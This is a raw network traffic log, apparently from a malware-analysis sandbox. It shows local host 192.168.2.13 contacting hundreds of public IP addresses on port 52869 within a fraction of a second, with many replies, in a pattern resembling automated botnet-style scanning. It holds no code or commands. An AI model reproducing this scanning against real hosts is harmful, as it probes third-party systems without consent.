Jul 20, 2024 23:00:59.571345091 CEST	50566	52869	192.168.2.13	23.165.203.186
Jul 20, 2024 23:00:59.571505070 CEST	52869	50566	8.136.6.185	192.168.2.13
Jul 20, 2024 23:00:59.571567059 CEST	52869	50566	161.225.125.87	192.168.2.13
Jul 20, 2024 23:00:59.571579933 CEST	52869	50566	9.82.7.36	192.168.2.13
Jul 20, 2024 23:00:59.571647882 CEST	52869	50566	149.159.220.10	192.168.2.13
Jul 20, 2024 23:00:59.571660042 CEST	52869	50566	62.84.215.239	192.168.2.13
Jul 20, 2024 23:00:59.571671963 CEST	52869	50566	42.0.20.93	192.168.2.13
Jul 20, 2024 23:00:59.571685076 CEST	52869	50566	212.123.218.107	192.168.2.13
Jul 20, 2024 23:00:59.571696997 CEST	52869	50566	136.223.0.40	192.168.2.13
Jul 20, 2024 23:00:59.571708918 CEST	52869	50566	54.79.145.235	192.168.2.13
Jul 20, 2024 23:00:59.571721077 CEST	52869	50566	135.6.141.10	192.168.2.13
Jul 20, 2024 23:00:59.571732044 CEST	52869	50566	187.210.4.33	192.168.2.13
Jul 20, 2024 23:00:59.571753025 CEST	52869	50566	202.148.194.228	192.168.2.13
Jul 20, 2024 23:00:59.571764946 CEST	52869	50566	128.72.103.105	192.168.2.13
Jul 20, 2024 23:00:59.571778059 CEST	52869	50566	149.139.83.79	192.168.2.13
Jul 20, 2024 23:00:59.571789026 CEST	52869	50566	93.63.224.186	192.168.2.13
Jul 20, 2024 23:00:59.571800947 CEST	52869	50566	166.126.173.214	192.168.2.13
Jul 20, 2024 23:00:59.571815014 CEST	52869	50566	8.223.250.112	192.168.2.13
Jul 20, 2024 23:00:59.571826935 CEST	52869	50566	125.52.0.168	192.168.2.13
Jul 20, 2024 23:00:59.571839094 CEST	52869	50566	75.130.190.239	192.168.2.13
Jul 20, 2024 23:00:59.571871996 CEST	50566	52869	192.168.2.13	99.250.238.245
Jul 20, 2024 23:00:59.571871996 CEST	50566	52869	192.168.2.13	106.129.123.61
Jul 20, 2024 23:00:59.571871996 CEST	50566	52869	192.168.2.13	2.30.99.212
Jul 20, 2024 23:00:59.571871996 CEST	50566	52869	192.168.2.13	204.96.224.223
Jul 20, 2024 23:00:59.571871996 CEST	50566	52869	192.168.2.13	191.60.250.171
Jul 20, 2024 23:00:59.571871996 CEST	50566	52869	192.168.2.13	88.28.86.29
Jul 20, 2024 23:00:59.571871996 CEST	50566	52869	192.168.2.13	61.170.55.225
Jul 20, 2024 23:00:59.571871996 CEST	50566	52869	192.168.2.13	203.202.10.158
Jul 20, 2024 23:00:59.571939945 CEST	52869	50566	57.59.6.30	192.168.2.13
Jul 20, 2024 23:00:59.572027922 CEST	52869	50566	32.131.86.183	192.168.2.13
Jul 20, 2024 23:00:59.572040081 CEST	52869	50566	88.82.30.227	192.168.2.13
Jul 20, 2024 23:00:59.572052002 CEST	52869	50566	60.26.177.43	192.168.2.13
Jul 20, 2024 23:00:59.572459936 CEST	52869	50566	83.133.77.32	192.168.2.13
Jul 20, 2024 23:00:59.572472095 CEST	52869	50566	97.40.157.127	192.168.2.13
Jul 20, 2024 23:00:59.572599888 CEST	50566	52869	192.168.2.13	54.172.207.249
Jul 20, 2024 23:00:59.572599888 CEST	50566	52869	192.168.2.13	148.188.169.185
Jul 20, 2024 23:00:59.572599888 CEST	50566	52869	192.168.2.13	74.118.220.217
Jul 20, 2024 23:00:59.572599888 CEST	50566	52869	192.168.2.13	85.79.152.129
Jul 20, 2024 23:00:59.572599888 CEST	50566	52869	192.168.2.13	83.195.157.142
Jul 20, 2024 23:00:59.572599888 CEST	50566	52869	192.168.2.13	123.187.111.17
Jul 20, 2024 23:00:59.572599888 CEST	50566	52869	192.168.2.13	193.70.152.149
Jul 20, 2024 23:00:59.572599888 CEST	50566	52869	192.168.2.13	192.140.200.203
Jul 20, 2024 23:00:59.572953939 CEST	80	54650	88.95.76.231	192.168.2.13
Jul 20, 2024 23:00:59.573214054 CEST	52869	50566	183.245.192.118	192.168.2.13
Jul 20, 2024 23:00:59.573226929 CEST	52869	50566	219.50.254.113	192.168.2.13
Jul 20, 2024 23:00:59.573239088 CEST	52869	50566	135.229.216.202	192.168.2.13
Jul 20, 2024 23:00:59.573250055 CEST	52869	50566	23.113.241.229	192.168.2.13
Jul 20, 2024 23:00:59.573261976 CEST	52869	50566	192.192.98.6	192.168.2.13
Jul 20, 2024 23:00:59.573273897 CEST	52869	50566	19.236.44.75	192.168.2.13
Jul 20, 2024 23:00:59.573286057 CEST	52869	50566	37.194.198.143	192.168.2.13
Jul 20, 2024 23:00:59.573297977 CEST	52869	50566	207.163.132.50	192.168.2.13
Jul 20, 2024 23:00:59.573395967 CEST	52869	50566	200.64.198.138	192.168.2.13
Jul 20, 2024 23:00:59.573409081 CEST	52869	50566	62.85.199.233	192.168.2.13
Jul 20, 2024 23:00:59.573807001 CEST	52869	50566	100.140.169.223	192.168.2.13
Jul 20, 2024 23:00:59.573820114 CEST	52869	50566	122.177.246.239	192.168.2.13
Jul 20, 2024 23:00:59.573832035 CEST	52869	50566	119.81.176.163	192.168.2.13
Jul 20, 2024 23:00:59.573843002 CEST	52869	50566	159.84.221.97	192.168.2.13
Jul 20, 2024 23:00:59.573973894 CEST	50566	52869	192.168.2.13	23.178.29.51
Jul 20, 2024 23:00:59.573973894 CEST	50566	52869	192.168.2.13	168.190.155.152
Jul 20, 2024 23:00:59.573973894 CEST	50566	52869	192.168.2.13	60.37.134.83
Jul 20, 2024 23:00:59.573973894 CEST	50566	52869	192.168.2.13	152.19.177.105
Jul 20, 2024 23:00:59.573975086 CEST	50566	52869	192.168.2.13	24.241.18.135
Jul 20, 2024 23:00:59.573975086 CEST	50566	52869	192.168.2.13	122.67.236.249
Jul 20, 2024 23:00:59.573975086 CEST	50566	52869	192.168.2.13	13.4.88.88
Jul 20, 2024 23:00:59.573975086 CEST	50566	52869	192.168.2.13	106.57.64.161
Jul 20, 2024 23:00:59.574106932 CEST	52869	50566	132.207.242.66	192.168.2.13
Jul 20, 2024 23:00:59.574201107 CEST	50566	52869	192.168.2.13	126.93.109.214
Jul 20, 2024 23:00:59.574201107 CEST	50566	52869	192.168.2.13	119.164.128.230
Jul 20, 2024 23:00:59.574201107 CEST	50566	52869	192.168.2.13	192.126.252.90
Jul 20, 2024 23:00:59.574201107 CEST	50566	52869	192.168.2.13	220.134.68.147
Jul 20, 2024 23:00:59.574201107 CEST	50566	52869	192.168.2.13	201.255.137.48
Jul 20, 2024 23:00:59.574201107 CEST	50566	52869	192.168.2.13	38.83.102.116
Jul 20, 2024 23:00:59.574201107 CEST	50566	52869	192.168.2.13	186.93.34.194
Jul 20, 2024 23:00:59.574201107 CEST	50566	52869	192.168.2.13	151.8.138.239
Jul 20, 2024 23:00:59.574358940 CEST	52869	50566	18.1.208.83	192.168.2.13
Jul 20, 2024 23:00:59.574372053 CEST	52869	50566	218.17.20.190	192.168.2.13
Jul 20, 2024 23:00:59.574383974 CEST	52869	50566	81.106.209.172	192.168.2.13
Jul 20, 2024 23:00:59.574413061 CEST	52869	50566	178.159.103.123	192.168.2.13
Jul 20, 2024 23:00:59.574425936 CEST	52869	50566	130.71.202.12	192.168.2.13
Jul 20, 2024 23:00:59.574436903 CEST	52869	50566	203.150.144.131	192.168.2.13
Jul 20, 2024 23:00:59.574680090 CEST	52869	50566	104.230.155.170	192.168.2.13
Jul 20, 2024 23:00:59.574692011 CEST	52869	50566	171.34.197.233	192.168.2.13
Jul 20, 2024 23:00:59.574960947 CEST	52869	50566	13.192.119.146	192.168.2.13
Jul 20, 2024 23:00:59.574973106 CEST	52869	50566	37.84.219.125	192.168.2.13
Jul 20, 2024 23:00:59.575047970 CEST	52869	50566	160.68.255.255	192.168.2.13
Jul 20, 2024 23:00:59.575059891 CEST	52869	50566	170.44.121.93	192.168.2.13
Jul 20, 2024 23:00:59.575072050 CEST	52869	50566	199.153.235.69	192.168.2.13
Jul 20, 2024 23:00:59.575083971 CEST	52869	50566	106.10.173.134	192.168.2.13
Jul 20, 2024 23:00:59.575208902 CEST	52869	50566	57.216.107.223	192.168.2.13
Jul 20, 2024 23:00:59.575396061 CEST	52869	50566	64.118.165.201	192.168.2.13
Jul 20, 2024 23:00:59.575670004 CEST	52869	50566	102.135.192.37	192.168.2.13
Jul 20, 2024 23:00:59.575683117 CEST	52869	50566	101.129.154.43	192.168.2.13
Jul 20, 2024 23:00:59.575822115 CEST	52869	50566	209.201.219.150	192.168.2.13
Jul 20, 2024 23:00:59.575834036 CEST	52869	50566	85.233.185.250	192.168.2.13
Jul 20, 2024 23:00:59.575845957 CEST	52869	50566	177.18.162.51	192.168.2.13
Jul 20, 2024 23:00:59.575860023 CEST	50566	52869	192.168.2.13	195.198.2.29
Jul 20, 2024 23:00:59.575860023 CEST	50566	52869	192.168.2.13	98.130.168.50
Jul 20, 2024 23:00:59.575860023 CEST	50566	52869	192.168.2.13	19.198.50.152
Jul 20, 2024 23:00:59.575860023 CEST	50566	52869	192.168.2.13	64.14.37.168
Jul 20, 2024 23:00:59.575860023 CEST	50566	52869	192.168.2.13	82.122.30.251
Jul 20, 2024 23:00:59.575860023 CEST	50566	52869	192.168.2.13	199.202.114.230
Jul 20, 2024 23:00:59.575860023 CEST	50566	52869	192.168.2.13	133.151.240.165
Jul 20, 2024 23:00:59.575860023 CEST	50566	52869	192.168.2.13	52.4.252.61
Jul 20, 2024 23:00:59.575961113 CEST	50566	52869	192.168.2.13	175.202.97.188
Jul 20, 2024 23:00:59.575961113 CEST	50566	52869	192.168.2.13	197.0.224.62
Jul 20, 2024 23:00:59.575961113 CEST	50566	52869	192.168.2.13	68.141.114.230
Jul 20, 2024 23:00:59.575962067 CEST	50566	52869	192.168.2.13	37.9.204.35
Jul 20, 2024 23:00:59.575962067 CEST	50566	52869	192.168.2.13	217.167.160.59
Jul 20, 2024 23:00:59.575962067 CEST	50566	52869	192.168.2.13	12.82.40.223
Jul 20, 2024 23:00:59.575962067 CEST	50566	52869	192.168.2.13	144.172.219.131
Jul 20, 2024 23:00:59.575962067 CEST	50566	52869	192.168.2.13	97.138.42.44
Jul 20, 2024 23:00:59.576064110 CEST	52869	50566	34.232.86.205	192.168.2.13
Jul 20, 2024 23:00:59.576112986 CEST	52869	50566	195.35.12.96	192.168.2.13
Jul 20, 2024 23:00:59.576124907 CEST	52869	50566	152.237.47.163	192.168.2.13
Jul 20, 2024 23:00:59.576390982 CEST	52869	50566	111.107.242.28	192.168.2.13
Jul 20, 2024 23:00:59.576404095 CEST	52869	50566	123.30.116.129	192.168.2.13
Jul 20, 2024 23:00:59.576416969 CEST	52869	50566	71.11.243.52	192.168.2.13
Jul 20, 2024 23:00:59.576428890 CEST	52869	50566	133.198.116.89	192.168.2.13
Jul 20, 2024 23:00:59.576611042 CEST	50566	52869	192.168.2.13	222.52.249.128
Jul 20, 2024 23:00:59.576611042 CEST	50566	52869	192.168.2.13	63.113.121.216
Jul 20, 2024 23:00:59.576611042 CEST	50566	52869	192.168.2.13	71.10.136.234
Jul 20, 2024 23:00:59.576611996 CEST	50566	52869	192.168.2.13	155.58.66.2
Jul 20, 2024 23:00:59.576611996 CEST	50566	52869	192.168.2.13	39.24.92.51
Jul 20, 2024 23:00:59.576611996 CEST	50566	52869	192.168.2.13	52.254.173.132
Jul 20, 2024 23:00:59.576611996 CEST	50566	52869	192.168.2.13	123.123.158.124
Jul 20, 2024 23:00:59.576611996 CEST	50566	52869	192.168.2.13	60.231.165.181
Jul 20, 2024 23:00:59.576637983 CEST	80	40800	88.31.145.92	192.168.2.13
Jul 20, 2024 23:00:59.576663017 CEST	52869	50566	205.64.106.197	192.168.2.13
Jul 20, 2024 23:00:59.576998949 CEST	52869	50566	77.208.33.230	192.168.2.13
Jul 20, 2024 23:00:59.577012062 CEST	52869	50566	87.27.188.229	192.168.2.13
Jul 20, 2024 23:00:59.577023983 CEST	52869	50566	210.64.85.28	192.168.2.13
Jul 20, 2024 23:00:59.577035904 CEST	52869	50566	157.35.115.220	192.168.2.13
Jul 20, 2024 23:00:59.577049017 CEST	52869	50566	188.236.3.108	192.168.2.13
Jul 20, 2024 23:00:59.577347040 CEST	52869	50566	17.100.225.23	192.168.2.13
Jul 20, 2024 23:00:59.577358961 CEST	52869	50566	207.106.40.137	192.168.2.13
Jul 20, 2024 23:00:59.577370882 CEST	52869	50566	99.250.238.245	192.168.2.13
Jul 20, 2024 23:00:59.577815056 CEST	50566	52869	192.168.2.13	67.159.244.246
Jul 20, 2024 23:00:59.577815056 CEST	50566	52869	192.168.2.13	164.75.240.102
Jul 20, 2024 23:00:59.577815056 CEST	50566	52869	192.168.2.13	111.34.210.66
Jul 20, 2024 23:00:59.577815056 CEST	50566	52869	192.168.2.13	164.51.129.47
Jul 20, 2024 23:00:59.577815056 CEST	50566	52869	192.168.2.13	117.11.9.146
Jul 20, 2024 23:00:59.577815056 CEST	50566	52869	192.168.2.13	134.33.110.60
Jul 20, 2024 23:00:59.577815056 CEST	50566	52869	192.168.2.13	60.177.250.3
Jul 20, 2024 23:00:59.577815056 CEST	50566	52869	192.168.2.13	132.243.226.80
Jul 20, 2024 23:00:59.578157902 CEST	52869	50566	178.49.239.29	192.168.2.13
Jul 20, 2024 23:00:59.578170061 CEST	52869	50566	106.129.123.61	192.168.2.13
Jul 20, 2024 23:00:59.578181028 CEST	52869	50566	102.81.237.112	192.168.2.13
Jul 20, 2024 23:00:59.578192949 CEST	52869	50566	54.172.207.249	192.168.2.13
Jul 20, 2024 23:00:59.578218937 CEST	52869	50566	61.189.251.247	192.168.2.13
Jul 20, 2024 23:00:59.578231096 CEST	52869	50566	148.188.169.185	192.168.2.13
Jul 20, 2024 23:00:59.578248978 CEST	52869	50566	95.197.97.74	192.168.2.13
Jul 20, 2024 23:00:59.578260899 CEST	52869	50566	174.109.132.218	192.168.2.13
Jul 20, 2024 23:00:59.578273058 CEST	52869	50566	170.45.230.238	192.168.2.13
Jul 20, 2024 23:00:59.578285933 CEST	52869	50566	74.118.220.217	192.168.2.13
Jul 20, 2024 23:00:59.578732967 CEST	50566	52869	192.168.2.13	9.179.65.165
Jul 20, 2024 23:00:59.578732967 CEST	50566	52869	192.168.2.13	138.51.167.125
Jul 20, 2024 23:00:59.578732967 CEST	50566	52869	192.168.2.13	144.215.64.150
Jul 20, 2024 23:00:59.578732967 CEST	50566	52869	192.168.2.13	184.217.77.154
Jul 20, 2024 23:00:59.578732967 CEST	50566	52869	192.168.2.13	65.98.140.14
Jul 20, 2024 23:00:59.578732967 CEST	50566	52869	192.168.2.13	62.113.97.226
Jul 20, 2024 23:00:59.578732967 CEST	50566	52869	192.168.2.13	87.211.191.179
Jul 20, 2024 23:00:59.578777075 CEST	52869	50566	108.69.161.226	192.168.2.13
Jul 20, 2024 23:00:59.578875065 CEST	52869	50566	46.235.126.216	192.168.2.13
Jul 20, 2024 23:00:59.579245090 CEST	52869	50566	218.5.234.93	192.168.2.13
Jul 20, 2024 23:00:59.579257965 CEST	52869	50566	219.34.57.118	192.168.2.13
Jul 20, 2024 23:00:59.579269886 CEST	52869	50566	132.76.186.150	192.168.2.13
Jul 20, 2024 23:00:59.579282999 CEST	52869	50566	97.17.203.2	192.168.2.13
Jul 20, 2024 23:00:59.579390049 CEST	52869	50566	8.115.57.252	192.168.2.13
Jul 20, 2024 23:00:59.579402924 CEST	52869	50566	2.30.99.212	192.168.2.13
Jul 20, 2024 23:00:59.579540014 CEST	52869	50566	85.79.152.129	192.168.2.13
Jul 20, 2024 23:00:59.579551935 CEST	52869	50566	204.96.224.223	192.168.2.13
Jul 20, 2024 23:00:59.579562902 CEST	52869	50566	42.50.217.244	192.168.2.13
Jul 20, 2024 23:00:59.579575062 CEST	52869	50566	191.60.250.171	192.168.2.13
Jul 20, 2024 23:00:59.579680920 CEST	50566	52869	192.168.2.13	192.248.186.142
Jul 20, 2024 23:00:59.579680920 CEST	50566	52869	192.168.2.13	200.93.232.222
Jul 20, 2024 23:00:59.579680920 CEST	50566	52869	192.168.2.13	90.31.71.78
Jul 20, 2024 23:00:59.579680920 CEST	50566	52869	192.168.2.13	211.78.34.151
Jul 20, 2024 23:00:59.579680920 CEST	50566	52869	192.168.2.13	43.144.221.254
Jul 20, 2024 23:00:59.579680920 CEST	50566	52869	192.168.2.13	194.191.153.163
Jul 20, 2024 23:00:59.579682112 CEST	50566	52869	192.168.2.13	4.126.46.148
Jul 20, 2024 23:00:59.579682112 CEST	50566	52869	192.168.2.13	167.245.54.149
Jul 20, 2024 23:00:59.579883099 CEST	52869	50566	160.90.186.174	192.168.2.13
Jul 20, 2024 23:00:59.579895973 CEST	52869	50566	126.93.109.214	192.168.2.13
Jul 20, 2024 23:00:59.579996109 CEST	52869	50566	83.195.157.142	192.168.2.13
Jul 20, 2024 23:00:59.580168962 CEST	50566	52869	192.168.2.13	148.129.145.155
Jul 20, 2024 23:00:59.580168962 CEST	50566	52869	192.168.2.13	105.219.39.50
Jul 20, 2024 23:00:59.580168962 CEST	50566	52869	192.168.2.13	197.57.89.73
Jul 20, 2024 23:00:59.580168962 CEST	50566	52869	192.168.2.13	1.6.88.81
Jul 20, 2024 23:00:59.580168962 CEST	50566	52869	192.168.2.13	170.7.192.1
Jul 20, 2024 23:00:59.580168962 CEST	50566	52869	192.168.2.13	121.129.9.158
Jul 20, 2024 23:00:59.580168962 CEST	50566	52869	192.168.2.13	213.55.186.226
Jul 20, 2024 23:00:59.580168962 CEST	50566	52869	192.168.2.13	73.165.187.191
Jul 20, 2024 23:00:59.580322981 CEST	52869	50566	119.164.128.230	192.168.2.13
Jul 20, 2024 23:00:59.580336094 CEST	52869	50566	121.63.89.80	192.168.2.13
Jul 20, 2024 23:00:59.580348015 CEST	52869	50566	192.126.252.90	192.168.2.13
Jul 20, 2024 23:00:59.580358982 CEST	52869	50566	142.165.33.0	192.168.2.13
Jul 20, 2024 23:00:59.580502987 CEST	52869	50566	88.28.86.29	192.168.2.13
Jul 20, 2024 23:00:59.580516100 CEST	52869	50566	220.134.68.147	192.168.2.13
Jul 20, 2024 23:00:59.580528021 CEST	52869	50566	198.220.142.183	192.168.2.13
Jul 20, 2024 23:00:59.580884933 CEST	80	58904	88.92.124.171	192.168.2.13
Jul 20, 2024 23:00:59.580895901 CEST	52869	50566	61.170.55.225	192.168.2.13
Jul 20, 2024 23:00:59.581032038 CEST	52869	50566	159.75.63.50	192.168.2.13
Jul 20, 2024 23:00:59.581044912 CEST	52869	50566	203.202.10.158	192.168.2.13
Jul 20, 2024 23:00:59.581056118 CEST	52869	50566	201.255.137.48	192.168.2.13
Jul 20, 2024 23:00:59.581185102 CEST	52869	50566	175.202.97.188	192.168.2.13
Jul 20, 2024 23:00:59.581293106 CEST	52869	50566	204.133.134.183	192.168.2.13
Jul 20, 2024 23:00:59.581305027 CEST	52869	50566	166.195.11.104	192.168.2.13
Jul 20, 2024 23:00:59.581422091 CEST	52869	50566	23.178.29.51	192.168.2.13
Jul 20, 2024 23:00:59.581645012 CEST	52869	50566	64.151.74.249	192.168.2.13
Jul 20, 2024 23:00:59.581657887 CEST	52869	50566	168.190.155.152	192.168.2.13
Jul 20, 2024 23:00:59.581670046 CEST	52869	50566	222.52.249.128	192.168.2.13
Jul 20, 2024 23:00:59.581990004 CEST	52869	50566	197.0.224.62	192.168.2.13
Jul 20, 2024 23:00:59.582102060 CEST	52869	50566	38.83.102.116	192.168.2.13
Jul 20, 2024 23:00:59.582529068 CEST	52869	50566	68.141.114.230	192.168.2.13
Jul 20, 2024 23:00:59.582541943 CEST	52869	50566	195.198.2.29	192.168.2.13
Jul 20, 2024 23:00:59.582554102 CEST	52869	50566	186.93.34.194	192.168.2.13
Jul 20, 2024 23:00:59.582568884 CEST	52869	50566	37.9.204.35	192.168.2.13
Jul 20, 2024 23:00:59.582581043 CEST	52869	50566	63.113.121.216	192.168.2.13
Jul 20, 2024 23:00:59.582593918 CEST	52869	50566	98.130.168.50	192.168.2.13
Jul 20, 2024 23:00:59.582719088 CEST	50566	52869	192.168.2.13	101.105.120.215
Jul 20, 2024 23:00:59.582719088 CEST	50566	52869	192.168.2.13	63.166.234.187
Jul 20, 2024 23:00:59.582719088 CEST	50566	52869	192.168.2.13	167.142.84.3
Jul 20, 2024 23:00:59.582719088 CEST	50566	52869	192.168.2.13	31.152.105.38
Jul 20, 2024 23:00:59.582719088 CEST	50566	52869	192.168.2.13	23.53.9.206
Jul 20, 2024 23:00:59.582719088 CEST	50566	52869	192.168.2.13	71.235.216.140
Jul 20, 2024 23:00:59.582719088 CEST	50566	52869	192.168.2.13	163.68.52.23
Jul 20, 2024 23:00:59.582719088 CEST	50566	52869	192.168.2.13	192.214.196.124
Jul 20, 2024 23:00:59.582820892 CEST	52869	50566	151.8.138.239	192.168.2.13
Jul 20, 2024 23:00:59.582904100 CEST	50566	52869	192.168.2.13	157.107.139.179
Jul 20, 2024 23:00:59.582905054 CEST	50566	52869	192.168.2.13	48.153.201.130
Jul 20, 2024 23:00:59.582905054 CEST	50566	52869	192.168.2.13	218.25.105.251
Jul 20, 2024 23:00:59.582905054 CEST	50566	52869	192.168.2.13	70.193.26.201
Jul 20, 2024 23:00:59.582905054 CEST	50566	52869	192.168.2.13	122.219.218.188
Jul 20, 2024 23:00:59.582905054 CEST	50566	52869	192.168.2.13	186.145.42.94
Jul 20, 2024 23:00:59.582905054 CEST	50566	52869	192.168.2.13	175.17.76.227
Jul 20, 2024 23:00:59.582905054 CEST	50566	52869	192.168.2.13	210.25.125.186
Jul 20, 2024 23:00:59.583043098 CEST	52869	50566	123.187.111.17	192.168.2.13
Jul 20, 2024 23:00:59.583257914 CEST	52869	50566	67.159.244.246	192.168.2.13
Jul 20, 2024 23:00:59.583271027 CEST	52869	50566	19.198.50.152	192.168.2.13
Jul 20, 2024 23:00:59.583283901 CEST	52869	50566	1.3.96.229	192.168.2.13
Jul 20, 2024 23:00:59.583558083 CEST	52869	50566	60.37.134.83	192.168.2.13
Jul 20, 2024 23:00:59.583570957 CEST	52869	50566	45.192.163.60	192.168.2.13
Jul 20, 2024 23:00:59.583581924 CEST	52869	50566	71.10.136.234	192.168.2.13
Jul 20, 2024 23:00:59.583664894 CEST	52869	50566	23.165.203.186	192.168.2.13
Jul 20, 2024 23:00:59.583775997 CEST	52869	50566	217.167.160.59	192.168.2.13
Jul 20, 2024 23:00:59.583787918 CEST	52869	50566	64.14.37.168	192.168.2.13
Jul 20, 2024 23:00:59.583822966 CEST	50566	52869	192.168.2.13	221.1.130.160
Jul 20, 2024 23:00:59.583822966 CEST	50566	52869	192.168.2.13	89.19.70.28
Jul 20, 2024 23:00:59.583822966 CEST	50566	52869	192.168.2.13	167.26.134.36
Jul 20, 2024 23:00:59.583822966 CEST	50566	52869	192.168.2.13	93.179.81.105
Jul 20, 2024 23:00:59.583822966 CEST	50566	52869	192.168.2.13	207.15.179.45
Jul 20, 2024 23:00:59.583822966 CEST	50566	52869	192.168.2.13	25.12.220.217
Jul 20, 2024 23:00:59.583822966 CEST	50566	52869	192.168.2.13	110.72.97.251
Jul 20, 2024 23:00:59.583822966 CEST	50566	52869	192.168.2.13	189.76.150.130
Jul 20, 2024 23:00:59.584101915 CEST	52869	50566	193.70.152.149	192.168.2.13
Jul 20, 2024 23:00:59.584136009 CEST	52869	50566	152.19.177.105	192.168.2.13
Jul 20, 2024 23:00:59.584147930 CEST	52869	50566	190.24.218.172	192.168.2.13
Jul 20, 2024 23:00:59.584465981 CEST	52869	50566	12.82.40.223	192.168.2.13
Jul 20, 2024 23:00:59.584609032 CEST	52869	50566	9.179.65.165	192.168.2.13
Jul 20, 2024 23:00:59.584621906 CEST	52869	50566	192.140.200.203	192.168.2.13
Jul 20, 2024 23:00:59.584633112 CEST	52869	50566	144.172.219.131	192.168.2.13
Jul 20, 2024 23:00:59.584932089 CEST	52869	50566	164.75.240.102	192.168.2.13
Jul 20, 2024 23:00:59.584944010 CEST	52869	50566	192.248.186.142	192.168.2.13
Jul 20, 2024 23:00:59.584955931 CEST	52869	50566	138.51.167.125	192.168.2.13
Jul 20, 2024 23:00:59.585067987 CEST	50566	52869	192.168.2.13	19.84.29.63
Jul 20, 2024 23:00:59.585067987 CEST	50566	52869	192.168.2.13	93.138.21.169
Jul 20, 2024 23:00:59.585067987 CEST	50566	52869	192.168.2.13	84.84.45.246
Jul 20, 2024 23:00:59.585067987 CEST	50566	52869	192.168.2.13	66.23.16.223
Jul 20, 2024 23:00:59.585067987 CEST	50566	52869	192.168.2.13	110.8.142.127
Jul 20, 2024 23:00:59.585067987 CEST	50566	52869	192.168.2.13	70.70.211.133
Jul 20, 2024 23:00:59.585067987 CEST	50566	52869	192.168.2.13	151.237.231.212
Jul 20, 2024 23:00:59.585067987 CEST	50566	52869	192.168.2.13	222.160.37.233
Jul 20, 2024 23:00:59.585155964 CEST	52869	50566	97.138.42.44	192.168.2.13
Jul 20, 2024 23:00:59.585167885 CEST	52869	50566	200.93.232.222	192.168.2.13
Jul 20, 2024 23:00:59.585180044 CEST	52869	50566	82.122.30.251	192.168.2.13
Jul 20, 2024 23:00:59.585442066 CEST	52869	50566	111.34.210.66	192.168.2.13
Jul 20, 2024 23:00:59.585671902 CEST	52869	50566	90.31.71.78	192.168.2.13
Jul 20, 2024 23:00:59.585741997 CEST	50566	52869	192.168.2.13	32.117.105.192
Jul 20, 2024 23:00:59.585741997 CEST	50566	52869	192.168.2.13	119.203.70.124
Jul 20, 2024 23:00:59.585741997 CEST	50566	52869	192.168.2.13	134.10.221.26
Jul 20, 2024 23:00:59.585741997 CEST	50566	52869	192.168.2.13	51.68.73.18
Jul 20, 2024 23:00:59.585741997 CEST	50566	52869	192.168.2.13	34.207.31.197
Jul 20, 2024 23:00:59.585741997 CEST	50566	52869	192.168.2.13	201.122.198.113
Jul 20, 2024 23:00:59.585741997 CEST	50566	52869	192.168.2.13	53.124.247.216
Jul 20, 2024 23:00:59.585741997 CEST	50566	52869	192.168.2.13	148.111.225.64
Jul 20, 2024 23:00:59.585830927 CEST	52869	50566	164.51.129.47	192.168.2.13
Jul 20, 2024 23:00:59.585844040 CEST	52869	50566	144.215.64.150	192.168.2.13
Jul 20, 2024 23:00:59.585855007 CEST	52869	50566	199.202.114.230	192.168.2.13
Jul 20, 2024 23:00:59.585912943 CEST	50566	52869	192.168.2.13	150.222.203.213
Jul 20, 2024 23:00:59.585912943 CEST	50566	52869	192.168.2.13	79.143.71.61
Jul 20, 2024 23:00:59.585912943 CEST	50566	52869	192.168.2.13	106.16.131.182
Jul 20, 2024 23:00:59.585912943 CEST	50566	52869	192.168.2.13	220.129.65.61
Jul 20, 2024 23:00:59.585912943 CEST	50566	52869	192.168.2.13	77.241.217.204
Jul 20, 2024 23:00:59.585912943 CEST	50566	52869	192.168.2.13	1.211.248.189
Jul 20, 2024 23:00:59.585912943 CEST	50566	52869	192.168.2.13	222.205.157.144
Jul 20, 2024 23:00:59.585912943 CEST	50566	52869	192.168.2.13	156.151.36.127
Jul 20, 2024 23:00:59.585931063 CEST	52869	50566	211.78.34.151	192.168.2.13
Jul 20, 2024 23:00:59.586236954 CEST	52869	50566	184.217.77.154	192.168.2.13
Jul 20, 2024 23:00:59.586255074 CEST	52869	50566	117.11.9.146	192.168.2.13
Jul 20, 2024 23:00:59.586267948 CEST	50566	52869	192.168.2.13	168.72.146.158
Jul 20, 2024 23:00:59.586267948 CEST	50566	52869	192.168.2.13	110.148.119.192
Jul 20, 2024 23:00:59.586268902 CEST	50566	52869	192.168.2.13	97.52.75.59
Jul 20, 2024 23:00:59.586270094 CEST	52869	50566	148.129.145.155	192.168.2.13
Jul 20, 2024 23:00:59.586268902 CEST	50566	52869	192.168.2.13	97.205.221.196
Jul 20, 2024 23:00:59.586268902 CEST	50566	52869	192.168.2.13	63.173.254.82
Jul 20, 2024 23:00:59.586268902 CEST	50566	52869	192.168.2.13	20.56.93.113
Jul 20, 2024 23:00:59.586268902 CEST	50566	52869	192.168.2.13	167.92.170.151
Jul 20, 2024 23:00:59.586268902 CEST	50566	52869	192.168.2.13	220.156.155.94
Jul 20, 2024 23:00:59.586395979 CEST	52869	50566	43.144.221.254	192.168.2.13
Jul 20, 2024 23:00:59.586509943 CEST	52869	50566	133.151.240.165	192.168.2.13
Jul 20, 2024 23:00:59.586826086 CEST	52869	50566	155.58.66.2	192.168.2.13
Jul 20, 2024 23:00:59.586873055 CEST	52869	50566	24.241.18.135	192.168.2.13
Jul 20, 2024 23:00:59.586885929 CEST	52869	50566	134.33.110.60	192.168.2.13
Jul 20, 2024 23:00:59.586899042 CEST	52869	50566	105.219.39.50	192.168.2.13
Jul 20, 2024 23:00:59.587198973 CEST	52869	50566	65.98.140.14	192.168.2.13
Jul 20, 2024 23:00:59.587212086 CEST	52869	50566	197.57.89.73	192.168.2.13
Jul 20, 2024 23:00:59.587223053 CEST	52869	50566	60.177.250.3	192.168.2.13
Jul 20, 2024 23:00:59.587431908 CEST	50566	52869	192.168.2.13	97.134.202.3
Jul 20, 2024 23:00:59.587431908 CEST	50566	52869	192.168.2.13	216.200.124.108
Jul 20, 2024 23:00:59.587431908 CEST	50566	52869	192.168.2.13	19.246.93.131
Jul 20, 2024 23:00:59.587431908 CEST	50566	52869	192.168.2.13	24.227.65.96
Jul 20, 2024 23:00:59.587431908 CEST	50566	52869	192.168.2.13	185.132.110.212
Jul 20, 2024 23:00:59.587431908 CEST	50566	52869	192.168.2.13	38.251.137.53
Jul 20, 2024 23:00:59.587431908 CEST	50566	52869	192.168.2.13	138.143.89.164
Jul 20, 2024 23:00:59.587431908 CEST	50566	52869	192.168.2.13	146.77.88.156
Jul 20, 2024 23:00:59.587528944 CEST	52869	50566	39.24.92.51	192.168.2.13
